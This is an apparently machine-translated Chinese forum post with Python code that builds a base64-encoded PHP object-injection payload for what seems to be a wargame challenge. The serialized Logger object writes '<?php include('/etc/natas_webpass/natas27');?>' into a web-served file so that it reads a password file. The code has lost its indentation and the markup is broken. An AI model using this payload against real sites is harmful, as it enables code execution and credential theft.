擅长:python、mysql、java
<p>在查看了文档之后,我提出了一个解决方案,首先将数据转换为对象,然后进行序列化。你知道吗</p>
<p><em>@Maxim让PHP代码像python一样,</em></p>
<p><strong>下面的代码使Python代码与PHP类似</p>
<p>感觉这是一个艰难的方法,不确定这是否可以变得更简单。你知道吗</p>
<pre><code>class Logger():
def __init__(self,initMsg,exitMsg,logFile):
self.initMsg = initMsg
self.exitMsg = exitMsg
self.logFile = logFile
def object_hook(obj):
if isinstance(obj, Logger):
return phpobject('Logger', {b'\x00Logger\x00initMsg': obj.initMsg, b'\x00Logger\x00exitMsg': obj.exitMsg, b'\x00Logger\x00logFile': obj.logFile})
logger = Logger("", "<?php include('/etc/natas_webpass/natas27');?>", "img/code.php")
new_ser = base64.encodestring(serialize(logger, object_hook=object_hook)).replace(b'\n', b'').decode('ascii')
</code></pre>